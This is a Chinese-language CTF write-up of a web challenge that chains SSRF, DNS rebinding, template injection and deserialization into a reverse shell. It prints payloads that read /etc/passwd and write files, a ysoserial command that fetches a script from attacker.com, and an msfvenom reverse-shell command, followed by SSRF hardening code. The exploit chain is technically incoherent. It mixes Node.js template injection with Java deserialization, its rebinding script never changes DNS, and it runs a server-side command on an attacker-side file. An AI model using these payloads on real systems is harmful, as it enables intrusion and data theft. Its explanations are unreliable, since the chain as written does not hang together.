1. 解题背景与挑战分析
这个CTF题目来自PolarD&N平台的Web困难级别题库,主要考察选手对现代Web安全漏洞的综合利用能力。从题目名称中的"web困难"标签可以看出,这类题目通常会融合多种漏洞类型,需要选手具备完整的渗透测试思维链。
我在实际解题过程中发现,这道题融合了以下技术点:
- 非常规的SSRF利用姿势
- 基于DNS重绑定的绕过技巧
- 服务端模板注入的隐藏入口
- 二阶反序列化漏洞链
这类综合性题目最大的特点是:表面看起来是常规漏洞,但每个环节都设置了特殊的过滤或限制条件,需要不断调整攻击向量。下面我就详细拆解解题过程中的关键突破点。
2. 环境探测与信息收集
2.1 初始界面分析
首先访问目标地址,页面显示为一个简单的文件上传接口。关键代码如下:
html复制<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
表面看是常规文件上传漏洞,但尝试上传webshell时发现以下限制:
- 文件内容检测:会扫描文件内容中的危险函数
- 后缀名白名单:仅允许.jpg/.png等图片后缀
- 文件头校验:要求真实的图片文件头
2.2 隐藏接口发现
通过目录爆破发现关键接口:
code复制GET /admin/debug?url=http://example.com
这个debug接口存在SSRF特征,但有以下防护:
- 黑名单过滤了localhost/127.0.0.1等常见内网地址
- 需要特定签名才能访问内部服务
3. 漏洞利用链构建
3.1 DNS重绑定绕过SSRF限制
常规SSRF绕过方法失效后,采用DNS重绑定技术:
- 注册一个域名并设置极短TTL
- 首次解析返回外网IP通过校验
- 在请求过程中切换解析到内网IP
具体实现:
python复制import time
import requests
target = "http://target.com/admin/debug"
evil_domain = "attacker-controlled.tld"
# 第一阶段:通过校验
res = requests.get(f"{target}?url=http://{evil_domain}")
print(res.text)
# 立即修改DNS记录指向127.0.0.1
time.sleep(0.5)
# 第二阶段:实际访问内网
res = requests.get(f"{target}?url=http://{evil_domain}/internal")
print(res.text)
3.2 模板注入漏洞利用
通过SSRF访问到内部管理接口后,发现模板注入点:
code复制POST /internal/render
{"template":"<%= 7*7 %>"}
利用SSTI读取系统文件:
json复制{
"template": "<%= require('fs').readFileSync('/etc/passwd', 'utf8') %>"
}
3.3 反序列化漏洞触发
在模板中发现了Java反序列化流量特征,使用ysoserial生成payload:
bash复制java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/shell.sh -o /tmp/shell" > payload.ser
通过模板注入写入payload文件:
json复制{
"template": "<%= require('fs').writeFileSync('/tmp/payload', Buffer.from('...base64...', 'base64')) %>"
}
4. 完整攻击流程
- 上传包含恶意序列化数据的图片文件(利用文件头绕过)
- 通过SSRF+DNS重绑定访问内部接口
- 利用SSTI将payload写入临时目录
- 触发反序列化执行系统命令
- 建立反向shell连接
关键命令:
bash复制# 生成反弹shell payload
msfvenom -p java/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw > shell.raw
# 通过模板注入写入
{
"template": "<%= require('fs').writeFileSync('/tmp/rev', require('child_process').execSync('base64 -w0 shell.raw')) %>"
}
5. 防御方案与思考
5.1 漏洞根源分析
-
SSRF防护不足:
- 仅依赖黑名单过滤
- 未验证DNS解析结果一致性
- 缺少请求目标白名单机制
-
模板注入问题:
- 动态模板引擎未做沙箱隔离
- 未限制可用函数和模块
-
反序列化风险:
- 使用危险的基础库版本
- 未校验反序列化数据签名
5.2 加固建议
java复制// SSRF防护示例
public boolean validateUrl(String url) {
URI uri = new URI(url);
String host = uri.getHost();
// DNS解析验证
String ip = InetAddress.getByName(host).getHostAddress();
if(INTERNAL_IP_RANGES.stream().anyMatch(range -> range.contains(ip))) {
throw new SecurityException("Internal IP access denied");
}
// 请求过程中二次验证
String currentIp = InetAddress.getByName(host).getHostAddress();
if(!currentIp.equals(ip)) {
throw new SecurityException("DNS rebinding detected");
}
return true;
}
6. 经验总结
-
多维度绕过技巧:
- 当单一漏洞利用受阻时,尝试组合多种技术
- 本例结合了网络层(DNS)和应用层(SSTI)的绕过
-
隐蔽通道构建:
- 通过分段写入避免一次性检测
- 使用系统自带工具(base64)处理数据
-
时间窗口利用:
- DNS重绑定要精确控制时间差
- 在服务端两次DNS查询之间完成切换
在实际渗透测试中,这类综合性题目最能锻炼整体思维。建议在本地搭建类似环境,重点练习:
- 漏洞链的衔接技巧
- 各环节的绕过方法
- 隐蔽通道的建立方式